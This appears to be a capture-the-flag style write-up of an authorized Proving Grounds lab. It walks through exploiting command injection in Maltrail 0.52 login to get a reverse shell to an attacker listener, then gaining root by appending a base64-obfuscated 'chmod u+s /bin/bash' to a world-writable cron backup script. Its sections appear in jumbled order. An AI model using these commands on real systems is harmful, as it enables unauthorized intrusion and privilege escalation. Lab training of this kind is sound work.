Authorized-lab note: This writeup documents activity performed exclusively in an authorized Offensive Security Proving Grounds lab. It is shared for educational and portfolio purposes.
#linux #suid
Overview
The lab focuses on various enumeration techniques, starting with the exploitation of Maltrail to identify vulnerabilities within the target system. Once initial access is achieved, Learners will escalate privileges through strategic methods. Abusing SUID binaries will be a key aspect of privilege escalation to gain higher access levels. This lab teaches the importance of effective enumeration and exploitation techniques in a penetration testing environment.
Learning objectives
After completion of this lab, learners will be able to:
- Enumerate the services and identify the Maltrail instance running on port 8338.
- Exploit the command injection vulnerability in the login process to gain a reverse shell as snort.
- Locate and analyze the writable /var/backups/etc_Backup.sh script.
- Modify the script to include a reverse shell payload.
- Wait for the cron job to trigger and gain a root shell on the target system.
Scenario
This lab demonstrates exploiting an unauthenticated OS command injection vulnerability in Maltrail <= v0.54 during the login process. Learners escalate privileges by modifying a writable backup script (/var/backups/etc_Backup.sh) that is executed by root at regular intervals, resulting in a reverse shell as root. This lab highlights web application exploitation, insecure command execution, and privilege escalation through script abuse.
Enumeration
This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# Execute the next evidence-gathering step in the authorized lab.
snort@ochima:/opt/maltrail-0.53$ id
id
uid=1001(snort) gid=1001(snort) groups=1001(snort)- Results of pspy64 shows us that root is running
backup.shscript
This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# The output records the result observed during this authorized lab step.
ls -al
total 836
drwxr-xr-x 2 root root 4096 Jul 7 20:05 .
drwxr-xr-x 14 root root 4096 Dec 11 2023 ..
-rw-r--r-- 1 root root 61440 Jul 7 20:05 alternatives.tar.0
-rw-r--r-- 1 root root 40970 Dec 11 2023 apt.extended_states.0
-rw-r--r-- 1 root root 4438 Dec 11 2023 apt.extended_states.1.gz
-rw-r--r-- 1 root root 3940 Oct 31 2023 apt.extended_states.2.gz
-rw-r--r-- 1 root root 0 Jul 7 20:05 dpkg.arch.0
-rw-r--r-- 1 root root 268 Jun 15 2022 dpkg.diversions.0
-rw-r--r-- 1 root root 172 Dec 11 2023 dpkg.statoverride.0
-rw-r--r-- 1 root root 716144 Dec 11 2023 dpkg.status.0
-rwxrwxrwx 1 root root 54 Dec 11 2023 etc_Backup.sh
snort@ochima:/var/backups$This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# Read the file contents for useful configuration or credential data.
snort@ochima:/var/backups$ cat etc_Backup.sh
# Read the file contents for useful configuration or credential data.
cat etc_Backup.sh
#! /bin/bash
tar -cf /home/snort/etc_backup.tar /etcThis block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# Inspect the directory for files relevant to the next step.
snort@ochima:/tmp$ ls -al /bin/bash
ls -al /bin/bash
-rwsr-xr-x 1 root root 1396520 Jan 6 2022 /bin/bash
# Execute the next evidence-gathering step in the authorized lab.
snort@ochima:/tmp$ /bin/bash -p
/bin/bash -p
bash-5.1# id
id
uid=1001(snort) gid=1001(snort) euid=0(root) groups=1001(snort)
bash-5.1#Initial Access
This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.
# Map exposed services and versions on the target.
nmap -sCV -p- 192.168.144.32
Starting Nmap 7.98 ( https://nmap.org ) at 2026-07-07 16:05 -0400
Nmap scan report for 192.168.144.32
Host is up (0.022s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 b9:bc:8f:01:3f:85:5d:f9:5c:d9:fb:b6:15:a0:1e:74 (ECDSA)
|_ 256 53:d9:7f:3d:22:8a:fd:57:98:fe:6b:1a:4c:ac:79:67 (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
8338/tcp open http Python http.server 3.5 - 3.10
|_http-server-header: Maltrail/0.52
| http-robots.txt: 1 disallowed entry
|_/
|_http-title: Maltrail
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelOn port
8338we have a login pageWe are able to login using the default credentials
admin:changeme!
This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.
(kali㉿kali)-[~/offsec/ochima]
# Execute the next evidence-gathering step in the authorized lab.
└─$ git clone https://github.com/joshchalabi/Maltrail-0.52-Exploit-RCE.git
Cloning into 'Maltrail-0.52-Exploit-RCE'...
remote: Enumerating objects: 6, done.
remote: Counting objects: 100% (6/6), done.
remote: Compressing objects: 100% (5/5), done.
remote: Total 6 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0)
Receiving objects: 100% (6/6), done.This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.
┌──(kali㉿kali)-[~/offsec/ochima/Maltrail-0.52-Exploit-RCE]
# Execute the next evidence-gathering step in the authorized lab.
└─$ ./exploit.sh http://192.168.144.32:8338 192.168.45.177 80
[*] Target : http://192.168.144.32:8338/login
[*] LHOST : 192.168.45.177
[*] LPORT : 80
[*] Start your listener: nc -lvnp 80This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.
## Other tab
(kali㉿kali)-[~/offsec/ochima]
# Execute the next evidence-gathering step in the authorized lab.
└─$ rlwrap nc -nlvp 80
listening on [any] 80 ...
connect to [192.168.45.177] from (UNKNOWN) [192.168.144.32] 49896
# Run the helper or analysis script used in this lab step.
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
# Run the helper or analysis script used in this lab step.
python3 -c 'import pty;pty.spawn("/bin/bash")'Privilege Escalation
This block investigates or exercises a privilege-escalation path. The output is used to confirm elevated permissions or the conditions required to obtain them.
# Execute the next evidence-gathering step in the authorized lab.
snort@ochima:/var/backups$ echo -n "chmod u+s /bin/bash" | base64
echo -n "chmod u+s /bin/bash" | base64
Y2htb2QgdStzIC9iaW4vYmFzaA==
# Execute the next evidence-gathering step in the authorized lab.
snort@ochima:/var/backups$ echo "echo -n 'Y2htb2QgdStzIC9iaW4vYmFzaA==' | base64 -d | bash" >> etc_Backup.sh
<iaW4vYmFzaA==\' | base64 -d | bash\" >> etc_Backup.sh
# Read the file contents for useful configuration or credential data.
snort@ochima:/var/backups$ cat etc_Backup.sh
# Read the file contents for useful configuration or credential data.
cat etc_Backup.sh
#! /bin/bash
tar -cf /home/snort/etc_backup.tar /etc
echo -n 'Y2htb2QgdStzIC9iaW4vYmFzaA==' | base64 -d | bashTakeaways
This lab reinforced the value of methodical enumeration, evidence-driven hypothesis testing, and validating each access-control boundary in an authorized environment.